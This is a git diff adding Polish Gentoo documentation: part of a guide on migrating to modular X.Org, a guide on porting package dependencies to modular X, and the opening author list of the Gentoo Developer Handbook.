+    Te flagi są standardowo włączone w czasie budowania pakietu, ponieważ ich
+    obsługa jest sprawdzana w momencie uruchomienia.
+  </ti>
+</tr>
+<tr>
+  <ti>bitmap-fonts, truetype-fonts, type1-fonts</ti>
+  <ti>
+    Metapakiet xorg-x11 instaluje tylko niewielką ilość najczęściej używanych i
+    wymaganych czcionek. Można samodzielnie zainstalować dodatkowe czcionki z
+    katalogu media-fonts/.
+  </ti>
+</tr>
+<tr>
+  <ti>cjk</ti>
+  <ti>
+    Należy zainstalować font-misc-misc i font-sony-misc z włączoną flagą nls,
+    by uzyskać japońskie czcionki w JISX0201. Więcej znajduje się w pakiecie
+    font-jis-misc. Chińskie czcionki są w font-isas-misc, koreańskie w
+    font-daewoo-misc.
+  </ti>
+</tr>
+<tr>
+  <ti>dlloader</ti>
+  <ti>
+    X 7.0 standardowo używa dlloader, a elfloader nie działa
+  </ti>
+</tr>
+<tr>
+  <ti>doc</ti>
+  <ti>Przeniesione do app-doc/xorg-docs</ti>
+</tr>
+<tr>
+  <ti>dmx</ti>
+  <ti>Wbudowane w xorg-server, o ile nie użyto flagi minimal</ti>
+</tr>
+<tr>
+  <ti>font-server</ti>
+  <ti>Można samodzielnie doinstalować xfs</ti>
+</tr>
+<tr>
+  <ti>ipv6</ti>
+  <ti>
+    Przeniesiono do oddzielnych pakietów korzystających z ipv6. Można również
+    uruchomić flagę globalnie, jeśli zachodzi taka potrzeba.
+  </ti>
+</tr>
+<tr>
+  <ti>minimal</ti>
+  <ti>
+    By uzyskać ten sam efekt należy zainstalować pakiet xorg-server zamiast
+    metapakietu xorg-x11. By uniknąć budowania Xdmx, Xvfb i Xnest można włączyć
+    flagę minimal w xorg-server. Jeśli potrzebujemy czegoś jeszcze mniejszego,
+    warto zainteresować się x11-base/kdrive.
+  </ti>
+</tr>
+<tr>
+  <ti>nls</ti>
+  <ti>
+    W 7.0 użycie flagi nls powoduje instalację wszystkich wersji czcionek
+    różnych od ISO-8859-1.
+  </ti>
+</tr>
+<tr>
+  <ti>nocxx</ti>
+  <ti>Nie ma jeszcze swojego odpowiednika w X 7.0</ti>
+</tr>
+<tr>
+  <ti>opengl</ti>
+  <ti>
+    Zmienia nazwę na "dri" i wciąż uruchamia Direct Rendering w xorg-server i
+    wielu sterownikach. Niezależnie czy DRI jest włączona, czy nie, wciąż jest
+    zapewnione programowe wsparcie 3D przy pomocy Mesa.
+  </ti>
+</tr>
+<tr>
+  <ti>pam</ti>
+  <ti>
+    Przeniesione do indywidualnych pakietów korzystających z pam, takich jak
+    xorg-server i xdm
+  </ti>
+</tr>
+<tr>
+  <ti>sdk</ti>
+  <ti>X 7.0 musi zainstalować SDK, w konsekwencji modularyzacji</ti>
+</tr>
+<tr>
+  <ti>static</ti>
+  <ti>
+    Nie ma sensu budować statycznego serwera, jeżeli cała reszta jest
+    modularna, ponieważ sterownik by sobie z tym nie poradził.
+  </ti>
+</tr>
+<tr>
+  <ti>xprint</ti>
+  <ti>
+    Metapakiet instaluje libXp. W innych aplikacjach uruchamia wsparcie dla
+    xprint. Większość osób nie chce tego uruchamiać.
+  </ti>
+</tr>
+<tr>
+  <ti>xv</ti>
+  <ti>
+    Przestała być opcjonalna, ponieważ nie zaoszczędza zbyt wiele miejsca i
+    powoduje problemy z pakietami oczekującymi, że ta flaga będzie włączona.
+  </ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>Co się stało z plikami konfiguracyjnymi?</title>
+<body>
+
+<p>
+
+W pakiecie X.Org 6.8 znajdującym się w drzewie, wszystkie pliki konfiguracyjne
+i skrypty umieszczone były w katalogu <path>/etc/X11</path>. W modularnym X.Org
+jego deweloperzy zmienili lokalizacje tych plików, przez co pliki
+konfiguracyjne znajdują się dalej w katalogu <path>/etc/X11</path> natomiast
+skrypty i domyślne konfiguracje zostały umieszczone w katalogu
+<path>/usr/lib/X11</path> (lub <path>/usr/lib64/X11</path>) i
+<path>/usr/share/X11</path>.
+</p>
+
+<p>
+Ponieważ posiadamy zabezpieczenie plików konfiguracyjnych (CONFIG_PROTECT),
+wszystkie nasze pliki z X.Org 6.8 prawdopodobnie cały czas będą w katalogu
+<path>/etc/X11</path>.
+</p>
+
+<p>
+Ponieważ katalogi te nie znajdują się w zmiennej CONFIG_PROTECT, ważnym jest,
+aby każde zmiany przeprowadzane na domyślnych plikach konfiguracyjnych były
+robione poprzez przekopiowanie odpowiednich plików do katalogu
+<path>/etc/X11</path>, a wszelkie ich aktualizacje były przeprowadzane w tym
+katalogu. Drugim, lecz nie zalecanym, sposobem jest dodanie nowych lokalizacji
+do zmiennej CONFIG_PROTECT. Poniżej prezentujemy dwa przykłady:
+</p>
+
+<pre caption="Dostosowywanie procesu uruchamiania XDM-a">
+<comment>
+Należy, przekopiować plik Xsetup_0 do katalogu /etc tak, aby był chroniony.
+</comment>
+# <i>cp -a /usr/lib/X11/xdm/Xsetup_0 /etc/X11/xdm/</i>
+<comment>
+Plik edytujemy dostosowując go do własnych potrzeb. Następnie, edytujemy
+xdm-config aktualizując ścieżki do tego pliku.
+</comment>
+# <i>nano /etc/X11/xdm/xdm-config</i>
+<comment>
+Zmieniamy następujące linijki:
+</comment>
+        ! The following three resources set up display :0 as the console.
+        DisplayManager._0.setup:           /usr/lib/X11/xdm/Xsetup_0
+        DisplayManager._0.startup:      /usr/lib/X11/xdm/GiveConsole
+        DisplayManager._0.reset:        /usr/lib/X11/xdm/TakeConsole
+<comment>
+...na takie:
+</comment>
+        ! The following three resources set up display :0 as the console.
+        <i>DisplayManager._0.setup:        /etc/X11/xdm/Xsetup_0</i>
+        DisplayManager._0.startup:      /usr/lib/X11/xdm/GiveConsole
+        DisplayManager._0.reset:        /usr/lib/X11/xdm/TakeConsole
+</pre>
+
+<note>
+Na systemach korzystających z bibliotek 64-bitowych, potrzebna będzie zmiana
+lib na lib64.
+</note>
+
+<p>
+W tym przykładzie dodanym przez Joe Womacka, zajmiemy się zmianami ustawień
+<c>xterm</c>. Można to zrobić globalnie lub dla konkretnego użytkownika.
+</p>
+
+<pre caption="Dostosowywanie app-defaults/XTerm-color globalnie">
+<comment>
+Podobnie jak w przykładzie powyżej, tworzymy kopię pliku w /etc ponieważ jest on
+chroniony przed zapisem:
+</comment>
+# <i>cp -a /usr/share/X11/app-defaults/XTerm-color /etc/X11/app-defaults/</i>
+<comment>
+Przerabiamy plik według naszych potrzeb. Następnie należy skonfigurować ścieżkę
+dostępu XFILESEARCHPATH dla Xt. Należy to zrobić w pliku znajdującym się w
+katalogu /etc/env.d:
+</comment>
+# <i>echo '# To wprowadza zmiany dla całego systemu.' >> /etc/env.d/10xpaths</i>
+# <i>echo 'XFILESEARCHPATH=/etc/X11/%T/%N:/usr/share/X11/%T/%N' >> /etc/env.d/10xpaths</i>
+</pre>
+
+<pre caption="Dostosowywanie app-defaults/XTerm-color lokalnie">
+<comment>Istnieją dwa sposoby na dokonanie tego:</comment>
+<comment>1) Ustawić katalog app-defaults dla użytkownika</comment>
+# <i>echo '# To wprowadza zmiany dla użytkownika w $HOME/app-defaults' >> /etc/env.d/10xpaths </i>
+# <i>echo 'XUSERFILESEARCHPATH=$HOME/%T/%N' >> /etc/env.d/10xpaths</i>
+
+<comment>
+2) Stworzyć plik .Xdefaults lub .Xresources kopiując ustawienia, które chcemy
+zmienić. Ten przykład zmienia kolor kursora wszystkich Xtermów na pomarańczowy,
+uruchamiany jako powłoka logowania, dodaje dekorację paska przewijania, i buffer
+przewijania o wielkości 1000 linii wstecz:
+</comment>
+
+# <i>echo '! Xterm defaults'               >> .Xresources</i>
+# <i>echo 'XTerm*CursorColor:      orange' >> .Xresources</i>
+# <i>echo 'XTerm*loginShell:       true'   >> .Xresources</i>
+# <i>echo 'XTerm*scrollBar:        true'   >> .Xresources</i>
+# <i>echo 'XTerm*saveLines:        1000'   >> .Xresources</i>
+
+<comment>
+Następnie należy zrestartować X lub wpisać poniższe polecenie, aby zmiany
+odniosły skutek.
+</comment>
+
+# <i>xrdb -merge $HOME/.Xresources</i>
+</pre>
+
+<note>
+Aby dowiedzieć się więcej o XFILESEARCHPATH i XUSERFILESEARCHPATH
+należy zapoznać się z dokumentem dostępnym pod adresem
+http://www.faqs.org/faqs/x-faq/part2/section-22.html.
+Aby zasięgnąć dalszych informacji o pliku .Xresources należy przejrzeć
+http://tldp.org/HOWTO/XWindow-User-HOWTO/moreconfig.html#XRESOURCES.
+</note>
+
+</body>
+</section>
+<section>
+<title>Problemy ze sterownikami</title>
+<body>
+
+<p>
+Zgłaszano nam, że:
+</p>
+
+<ul>
+  <li>vesa zawiesza komputery z kartą Matrox</li>
+  <li>
+    vga tworzy bardzo dziwnie wyglądający ekran, podzielony na cztery części
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Ponowne uruchomienie akceleracji 3D</title>
+<body>
+
+<p>
+Programy te, zawarte są w pakiecie <c>x11-apps/mesa-progs</c>. <c>mesa-progs</c>
+jest instalowane przez pakiet <c>x11-base/xorg-x11</c> automatycznie.
+</p>
+
+<pre caption="Włączanie informacji diagnostycznych">
+# <i>grep -e EE -e WW /var/log/Xorg.0.log</i>
+# <i>LIBGL_DEBUG=verbose glxinfo</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Automatyczne wykrywanie protokołu myszki</title>
+<body>
+
+<p>
+Opcja <c>"Protocol" "auto"</c> w <path>xorg.conf</path> dla naszej myszy, może
+nie zadziałać.  Należy ustawić <c>"Protocol" "ExplorerPS/2"</c> lub
+<c>"IMPS/2"</c> by działało kółko myszki.
+</p>
+
+</body>
+</section>
+<section>
+<title>Pojawiają się błędy dotyczące braku libbitmap lub libpcidata</title>
+<body>
+
+<p>
+Należy się upewnić, że żaden wpis <c>ModulePath</c> nie istnieje w
+<path>/etc/X11/xorg.conf</path>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Program gdm/kdm nie działa</title>
+<body>
+
+<p>
+Jeżeli instalowaliśmy modularne X na nowej instalacji Gentoo, w systemie może
+nie być obecne dowiązanie symboliczne <path>/usr/X11R6</path> -&gt;
+<path>/usr</path>. Pakiet <c>x11-base/xorg-x11</c> upewni się, czy symlink
+istnieje podczas procesu
+instalacji.
+</p>
+
+<p>
+Można nas wesprzeć w poprawianiu pakietów instalujących się w
+<path>/usr/X11R6</path> poprzez tworzenie poprawek i nadsyłanie nam ich.
+</p>
+
+<pre caption="Pakiety, które instalują się w /usr/X11R6">
+# <i>cat ~/usr-x11r6-packages</i>
+# <i>emerge --pretend $(&lt; ~/usr-x11r6-packages )</i>
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>XKB nie działa, nie można zmienić VT, itd.</title>
+<body>
+
+<ul>
+  <li>Wiele układów klawiatury z XKB zostało przeniesionych, połączonych, lub
+  usuniętych. Radzimy zajrzeć do <path>/usr/share/X11/xkb/symbols/pc</path>, by
+  zobaczyć, co stało się z naszym starym ustawieniem XkbLayout w xorg.conf. Na
+  przykład, by zmienić stary układ "us_intl", dodajemy <c>"XkbLayout"
+  "latin"</c> i <c>"XkbOptions" "lv3:ralt_switch"</c>. Zamiast "sk_qwerty"
+  użyjemy <c>"XkbLayout" "sk"</c> i <c>"XkbVariant" "qwerty"</c>. Jako bardziej
+  zaawansowany przykład, możemy użyć <c>"XkbLayout" "us,sk_qwerty"</c>, które
+  zamienilibyśmy na <c>"XkbLayout" "us,sk"</c>. Teraz ważna część:
+  <c>"XkbVariant" ",qwerty"</c>. Należy zwrócić uwagę na przecinek, ponieważ
+  chcemy, by wariant dotyczył drugiego układu.
+  </li>
+</ul>
+
+<pre caption="Odszukiwanie zmian w XKB">
+<comment>Przeszukujemy /var/log/Xorg.0.log w poszukiwaniu tej
+informacji:</comment>
+<comment>(WW) Couldn't load XKB keymap, falling back to pre-XKB keymap</comment>
+<comment>Jeśli ten błąd się nie pojawia, znaczy to, że XKB działa
+prawidłowo.</comment>
+# <i>grep Xkb /etc/X11/xorg.conf</i>
+        Option "XkbModel"  "logibik"
+        Option "XkbLayout"  "dvorak"
+        Option "XkbOptions" "ctrl:swapcaps"
+<comment>Po pierwsze, należy zobaczyć co zmieniło się w naszym układzie.
+Znajduje się to w katalogu symbols/pc directory.</comment>
+# <i>cd /usr/share/X11/xkb/symbols/</i>
+<comment>Jeśli zainstalowaliśmy xkbdata zamiast xkeyboard-config, szukamy w
+katalogu pc/.</comment>
+# <i>ls *dvorak*</i>
+<comment>Nic się nie pokazało.</comment>
+# <i>ls *us*</i>
+us
+<comment>Następnie szukamy wiariantu xkb_symbols o nazwie dvorak.</comment>
+# <i>grep xkb_symbols.*dvorak us</i>
+xkb_symbols "dvorak" {
+<comment>To oznacza, że w xorg.conf potrzebujemy Option "XkbLayout"
+"us"</comment>
+<comment> i Option "XkbVariant" "dvorak".</comment>
+<comment>Jeśli próbujemy sprawdzić te ustawienia przy użyciu setxkbmap i wciąż
+otrzymujemy błąd</comment>
+# <i>setxkbmap -model logibik -layout us -variant dvorak -option "ctrl:swapcaps"</i>
+<comment>Może to oznaczać, że model klawiatury również uległ zmianie</comment>
+# <i>cd /usr/share/X11/xkb/rules/</i>
+# <i>grep logibik xorg.lst</i>
+<comment>Jeśli nic się nie pojawia po wydaniu powyższej komendy, oznacza to, że
+dany model został usunięty. Można sprawdzić inne, jemu podobne:</comment>
+# <i>grep logi* xorg.lst</i>
+ logiaccess      Logitech Access Keyboard
+ logicdit        Logitech Cordless Desktop iTouch
+ logicdp         Logitech Cordless Desktop Pro
+ logicdpa        Logitech Cordless Desktop Pro (alternate option)
+ logicdpa2       Logitech Cordless Desktop Pro (alternate option2)
+ logicdo         Logitech Cordless Desktop Optical
+ logicfn         Logitech Cordless Freedom/Desktop Navigator
+ logicdn         Logitech Cordless Desktop Navigator
+ logidak         Logitech Deluxe Access Keyboard
+ logiitc         Logitech iTouch Cordless Keyboard (model Y-RB6)
+ logiik          Logitech Internet Keyboard
+ logiitc         Logitech iTouch Cordless Keyboard (model Y-RB6)
+ logiik          Logitech Internet Keyboard
+ logiink         Logitech Internet Navigator Keyboard
+ logiultrax      Logitech Ultra-X Keyboard
+<comment>Model "logiik" wygląda podobnie, więc sprawdzamy go przy użyciu
+setxkbmap.</comment>
+# <i>setxkbmap -model logiik -layout us -variant dvorak -option "ctrl:swapcaps"</i>
+<comment>Jeśli powyższe zadziałało, zmieniamy wpis XkbModel.</comment>
+<comment>Po zakończeniu, wszystko powinno działać</comment>
+      </pre>
+
+</body>
+</section>
+
+<section>
+<title>Pozostałe sprawy</title>
+<body>
+
+<ul>
+  <li>
+    Pakiet <c>x11-base/xorg-x11</c> filtruje teraz wszystkie linie ModulePath i
+    RgbPath w <path>/etc/X11/xorg.conf</path>, ponieważ obie te ścieżki zmieniły
+    się od czasu poprzedniej wersji. Należy pamiętać o uruchomieniu
+    <c>etc-update</c> w celu sfinalizowania tych zmian.
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/pl/desktop/x/x11/porting-modular-x-howto.xml b/xml/htdocs/proj/pl/desktop/x/x11/porting-modular-x-howto.xml
new file mode 100644
index 00000000..21dd9a2b
--- /dev/null
+++ b/xml/htdocs/proj/pl/desktop/x/x11/porting-modular-x-howto.xml
@@ -0,0 +1,296 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/desktop/x/x11/porting-modular-x-howto.xml,v 1.6 2006/07/17 07:05:48 rane Exp $ -->
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/pl/desktop/x/x11/porting-modular-x-howto.xml" lang="pl">
+<title>Przenoszenie programów na modularne X</title>
+
+<author title="Autor">
+  <mail link="dberkholz@gentoo.org">Donnie Berkholz</mail>
+</author>
+<author title="Tłumacz">
+  <mail link="damjanek@gmail.com">Damian Szeluga</mail>
+</author>
+
+<abstract>
+Ten przewodnik pokazuje jak naprawiać pakiety, by działały z nowym modularnym
+X.Org.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.0</version>
+<date>2006-01-03</date>
+
+<chapter>
+<title>Tło</title>
+
+<section>
+<title>Wstęp</title>
+<body>
+
+<p>
+Dlaczego jeden wygodny pakiet zmienił się w 300 mniejszych?  Proces ten
+realizowany jest przez twórców X.Org. Rozdzielają oni wszystkie pakiety na
+pomniejsze, a my jedynie podążamy za nimi.
+</p>
+
+<p>
+Polecamy lekturę <uri
+link="/proj/pl/desktop/x/x11/modular-x-howto.xml#doc_chap1_sect1">Migracja na
+modularne X</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Sprawdzanie zależności</title>
+<section>
+<body>
+
+<p>
+Chcemy wyliczyć wszystkie zależności tak dobrze, jak to tylko możliwe, by
+użytkownicy nie musieli mieć w systemie zbędnych programów, których nawet nie
+używają (na przykład XPrint). Jeśli pakiet jest od czegoś zależny, to w
+zależnościach wpisujemy pakiety z bibliotekami i nagłówkami, a nie virtuale.
+</p>
+
+<p>
+Nie możemy także zagwarantować, że użytkownicy wciąż będą mieli zainstalowane
+pewne zależności, ponieważ instalowali metapakiet, więc eliminacja tego typu
+błędu pozwoli zaoszczędzić nam dużo czasu.
+</p>
+
+<p>
+Jeśli znajdę jakikolwiek pakiet, dla którego zależnością będzie metapakiet, będę
+prześladował osobę zajmującą się tym pakietem, dopóki tego nie naprawi.
+</p>
+
+<p>
+Pierwszy krok, to zainstalowanie modularnego X lub odnalezienie kogoś, kto ma go
+zainstalowanego. Może to zostać wykonane w środowisku chroot - nie ma żadnego
+powodu, by uruchamiać X. Potrzeba jedynie, by pliki były dostępne podczas
+sprawdzania zależności.
+</p>
+
+<pre caption="Pobieranie potrzebnych skryptów">
+$ <i>wget http://dev.gentoo.org/~dberkholz/scripts/linking_libs.sh \
+	http://dev.gentoo.org/~dberkholz/scripts/included_headers.sh \
+	http://dev.gentoo.org/~betelgeuse/scripts/deputils/checkdeps.rb \
+       	http://dev.gentoo.org/~betelgeuse/scripts/deputils/pkgutil.rb</i>
+</pre>
+
+<impo>
+<e>Nie należy</e> używać <c>gentoolkit-0.2.1_pre9</c> ponieważ tworzy
+nieprawidłowe wyjście. Więcej informacji znajduje się tutaj:
+<uri>https://bugs.gentoo.org/show_bug.cgi?id=111501</uri>.
+</impo>
+
+<p>
+Pierwszy skrypt, <c>linking_libs.sh</c>, sprawdza wyjście kompilacji danego
+pakietu poszukując wszystkich bibliotek połączonych z nim i wyświetla wszystkie
+pakiety, do których one należą. By uzyskać wyjście kompilatora, można ustawić
+zmienną PORT_LOGDIR w <path>/etc/make.conf</path> lub użyć przekierowania
+wyjścia.
+</p>
+
+<pre caption="Uruchomienie linking_libs.sh dla pakietu gdm">
+$ <i>ls /var/log/portage/*gdm* -l</i>
+-rw-r--r-- 1 root portage 556551 2006-01-09 11:41
+/var/log/portage/8430-gdm-2.8.0.7.log 
+-rw-r--r-- 1 root portage    855 2006-01-09 11:42
+/var/log/portage/8431-gdm-2.8.0.7.log 
+$ <i>linking_libs.sh
+/var/log/portage/8430-gdm-2.8.0.7.log</i>
+</pre>
+
+<p>
+Drugi skrypt, <c>included_headers.sh</c>, przeszukuje rozpakowane źródła danego
+pakietu w poszukiwaniu linii, które zaczynają się od #include i sprawdza, jakie
+pliki zawierają się w &lt;&gt;. Na dzień 9 września 2005, tak jak &lt;&gt;
+działa również użycie "" w include.
+</p>
+
+<p>
+Trzeci skrypt, <c>checkdeps.rb</c>, skanuje w poszukiwaniu zainstalowanych
+plików należących do pakietu, używając <c>scanelf</c> z pax-utils. Jest to
+praktyczne dla pakietów binarnych lub pakietów, które nie pokazują wyjścia
+kompilatora. Jest to skrypt pisany w języku Ruby więc wymaga on dev-lang/ruby,
+tak jak app-misc/pax-utils. Czwarty skrypt, <c>pkgutil.rb</c>, jest zależnością
+<c>checkdeps.rb</c>.
+</p>
+
+<p>
+Uruchomienie dwóch powyższych skryptów powinno dać dobrą listę pakietów dla
+RDEPEND (dla bibliotek) i DEPEND (nagłówków i bibliotek). Jeśli biblioteka
+pokazuje na liście RDEPEND coś, co nie pojawiło się na liście DEPEND, należy być
+ostrożnym. Może to być "fałszywa zależność" (biblioteka, z którą pakiet jest
+związany bez żadnego powodu). Przykładem prawdziwej zależności jest libXt. Wiele
+pakietów szuka nagłówków libXt, w celu sprawdzenia występowania X w systemie.
+</p>
+
+<p>
+Sporadycznie skrypt <c>included_headers.sh</c> znajdzie zły nagłówek, ponieważ
+niektóre z nich używają tej samej nazwy, a to powoduje, że skrypt zwróci
+nieprawidłowy pakiet. Zwykle takie pomyłki są oczywiste, tak jak w przypadku
+nagłówków Windowsa, przez które wydaje się, że app-emulation/wine jest
+zależnością.
+</p>
+
+<p>
+Jeśli dopiszemy opcję <c>-d</c>, może to spowodować, że dostaniemy informację
+"Not found". Może to oznaczać, że odinstalowaliśmy nagłówek, który jest wymagany
+przez pakiet, by go zbudować lub jest to opcjonalny nagłówek, z którego nie
+korzystamy w naszym systemie. W przypadku biblioteki znaczyć to może, że
+odinstalowaliśmy bibliotekę, która została tylko statycznie zbudowana, ale nigdy
+nie została zainstalowana. 
+</p>
+
+<p>
+Warto poświęcić trochę czasu i zorientować się, które biblioteki lub nagłówki
+nie są dodawane do listy zależności. W przypadku nagłówków, nie trzeba mieć ich
+zainstalowanych, by przeprowadzić skanowanie.
+</p>
+
+<p>
+W niektórych przypadkach, w pewnym sensie, pakiet wymaga serwera X. Jeśli nie
+jest to wymagane, by w czasie instalacji serwer X był obecny w systemie,
+odradzamy umieszczanie go na liście RDEPEND. Psuje to instalacje bez X, gdzie
+program jest uruchamiany na innym komputerze, więc nie wymaga istnienia
+nagłówków ani bibliotek na danej maszynie.
+</p>
+
+<p>
+W drzewie portage znajduje się kilka serwerów X, więc jeśli nie potrzeba nam
+owego, należy dołączyć wszystkie. Modularne serwery X znajdują się w
+pakiecie xorg-server. Mamy również serwer DirectFB w pakiecie xdirectfb; kdrive
+jest małym serwerem X. Oczywiście mamy też do dyspozycji stare &lt;xorg-x11-7.
+Należy również dołączyć restrykcje odnośnie wersji xorg-x11, by być pewnym, że
+mamy serwer X, zamiast metapakietu. W bliskiej przyszłości spodziewam się, że
+kdrive przeniesie się do serwera X. Jeśli potrzeba nam serwera X, należy
+skontaktować się z członkiem drużyny zajmującej się X. Możemy stworzyć virtual,
+jeśli wystarczająca liczba pakietów będzie tego wymagać
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Struktura zależności</title>
+<section>
+<body>
+
+<p>
+By dodać zależności, będziemy potrzebowali następującej struktury:
+</p>
+
+<pre caption="Struktura RDEPEND/DEPEND">
+RDEPEND="|| ( ( x11-libs/libXfoo
+			x11-libs/libXbar
+			blah? ( x11-libs/libXblah )
+			cokolwiek innego pokaże skrypt od bibliotek
+		)
+		virtual/x11
+	)
+
+DEPEND="${RDEPEND}
+	|| ( ( x11-proto/fooproto
+			blah? ( x11-proto/blahproto )
+			cokolwiek innego pokażą oba skrypty
+		)
+		virtual/x11
+	)
+</pre>
+
+<impo>
+Pewna część wyniku powyższych skryptów <e>będzie</e> zbyteczna. Jeśli RDEPEND
+jednej biblioteki włącza również inną, nie trzeba dołączać obu do zależności.
+Jeżeli DEPEND jednej biblioteki włącza również protokół, <e>nie trzeba</e>
+wówczas dodawać pakietu do listy DEPEND. Potencjalnymi bibliotekami, które będą
+chciały instalować wiele innych mogą być <c>libXaw</c>, <c>libXmu</c>,
+<c>libXpm</c>, <c>libXcursor</c> i <c>libXt</c>. Wykonujemy wówczas <c>emerge
+-ep $biblioteka | grep lib[SIX]</c>. Trzeba mieć również na uwadze, że inne
+pakiety, takie jak na przykład <c>gtk+</c>, również zostały przeniesione na
+modularne zależności, więc mogą one zainstalować wymagane biblioteki. 
+</impo>
+
+<note>
+Dwie oddzielne flagi USE włączą wsparcie dla X, ale jedna nie jest zależna od
+drugiej. W tym przypadku, trzeba będzie powielić sekcję zależności wsparcia dla
+X lub zdefiniować w innym miejscu jako ${X_DEPEND}. Jeśli definiujemy ją w innym 
+miejscu, należy pamiętać by dołączyć również sekcje specyficzne dla każdej z flag
+USE.
+</note>
+
+<p>
+Naszym celem jest nie tylko wparcie dla nowego, modularnego X, ale również
+umożliwienie spełnienie zależności użytkowników korzystających ze starego,
+monolitycznego X. By prawidłowo móc je spełnić, odrzucamy starą formę
+deklarowania virtual/x11.
+</p>
+
+<p>
+Na początek przenoszenie aplikacji na nowy system jest jedynie wymagane dla
+użytkowników korzystających z niestabilnej gałęzi drzewa Portage (~arch) i
+nowszej (KEYWORDS=-* lub package.mask). Opiekunowie pojedynczych pakietów mogą
+wybierać, czy pozbyć się niewspieranych ebuildów z drzewa portage, ale
+najprawdopodobniej będą chcieli przenieść wszystkie swoje ebuildy naraz.
+</p>
+
+
+<impo>
+To pozwoli użytkownikom korzystającym z gałęzi eksperymentalnej portage na
+bezproblemową instalację modularnego X, a osobom korzystających ze stabilnej
+wciąż mieć virtual/x11.
+</impo>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Radzenie sobie z flagami USE</title>
+<section>
+<body>
+
+<p>Wiele osób ma wyłączoną flagę xinerama. Jednakże, jeśli uruchomimy
+<c>included_headers.sh</c>, x11-proto/xineramaproto zostanie pokazane jako
+zależność. Dodajemy wówczas ten pakiet do DEPEND zasłonięte USE flagą xinerama i
+dodajemy x11-libs/libXinerama do RDEPEND, także z flagą xinerama.
+</p>
+
+<p>
+Caleb zadał dobre pytanie: jak radzić sobie z flagami USE w pakietach, które
+mają ogromną ilość opcjonalnych bibliotek X? W wielu przypadkach ma sens
+wymuszanie włączenia lub też niewłączania flag. Można to sobie ułatwić,
+grupując flagi.  Należy upewnić się, że nazwa flagi bierze się od funkcji jaką
+wprowadzają, a nie od nazw bibliotek czy też pakietów, z których będą korzystać.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Wprowadzanie zmian do drzewa portage</title>
+<section>
+<body>
+
+<p>
+Jeśli jesteśmy opiekunami lub twórcami pakietu, nadsyłamy nasze poprawki. Jeżeli
+nie, nadsyłamy poprawkę w formie błędu przydzielonego do opiekunów pakietu
+(można ich znaleźć w pliku metadata.xml). Dodajemy informację, że jest to
+błąd blokujący <uri link="http://bugs.gentoo.org/112675">#112675</uri>.
+Załączamy łatę naprawiającą zależności.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/pl/devrel/handbook/handbook.xml b/xml/htdocs/proj/pl/devrel/handbook/handbook.xml
new file mode 100644
index 00000000..5abe733c
--- /dev/null
+++ b/xml/htdocs/proj/pl/devrel/handbook/handbook.xml
@@ -0,0 +1,280 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE book SYSTEM "/dtd/book.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/devrel/handbook/handbook.xml,v 1.7 2009/02/16 01:48:06 rane Exp $ -->
+
+<book link="/proj/pl/devrel/handbook/handbook.xml" lang="pl">
+<title>Podręcznik Dewelopera Gentoo</title>
+
+<!-- Autor names only -->
+<!-- Thanks for edits but please only add your name if you added content -->
+<!-- Do not list what you worked on as it's all subject to future changes -->
+
+<author title="Autor">
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+<author title="Autor">
+  <mail link="seemant@gentoo.org">Seemant Kulleen</mail>
+</author>
+<author title="Autor">
+  <mail link="fox2mike@gentoo.org">Shyam Mani</mail>
+ </author>
+<author title="Autor">
+  <mail link="karltk@gentoo.org">Karl Trygve Kalleberg</mail>
+</author>
+<author title="Autor">
+  <mail link="vapier@gentoo.org">Mike Frysinger</mail>
+</author>
+<author title="Autor">
+  <mail link="liquidx@gentoo.org">Alastair Tse</mail>
+</author>
+<author title="Autor">
+  <mail link="pauldv@gentoo.org">Paul De Vrieze</mail>
+</author>
+<author title ="Autor">
+  <mail link="blackace@gentoo.org">Nicholas D. Wolfwood</mail>
+</author>
+<author title ="Autor">
+  <mail link="genone@gentoo.org">Marius Mauch</mail>
+</author>
+<author title ="Autor">
+  <mail link="dragonheart@gentoo.org">Daniel Black</mail>
+</author>
+<author title ="Autor">
+  <mail link="amne@gentoo.org">Wernfried Haas</mail>
+</author>
+<author title ="Autor">
+  <mail link="musikc@gentoo.org">Chrissy Fullam</mail>
+</author>
+<author title="Autor">
+  <mail link="drobbins@gentoo.org">Daniel Robbins (Retired) </mail>
+</author>
+<author title="Autor">
+  John P. Davis (Retired)
+</author>
+<author title="Autor">
+  Tim Yamin (Retired)
+</author>
+<author title="Autor">
+  Jorge Paulo (Retired)
+</author>
+<author title="Autor">
+  Zack Gilburd (Retired)
+</author>
+<author title="Autor">
+  Benny Chuang (Retired)
+</author>
+<author title="Autor">
+  Erwin (Retired)
+</author>
+<author title="Autor">
+  Jon Portnoy (Retired)
+</author>
+<author title="Autor">
+  Carl Anderson (Retired)
+</author>
+<author title="Autor">
+  Donny Davies (Retired)
+</author>
+<author title="Autor">
+  Peter Gavin (Retired)
+</author>
+<author title ="Autor">
+  Dan Armak (Retired)
+</author>
+<author title="Autor">
+  Owen Stampflee
+</author>
+<author title ="Autor">
+  Ciaran McCreesh (Retired)
+</author>
+<author title="Autor">
+  <mail link="rane@gentoo.org">Łukasz Damentko</mail>
+</author>
+<author title="Tłumaczenie">
+  <mail link="jbozanowski@gmail.com">Kuba Bożanowski</mail>
+</author>
+<author title="Tłumaczenie">
+  <mail link="rafaeru@o2.pl">Rafał Stolarski</mail>
+</author>
+<author title="Tłumaczenie">
+  <mail link="keidii@gmail.com">Tomasz Bukowski</mail>
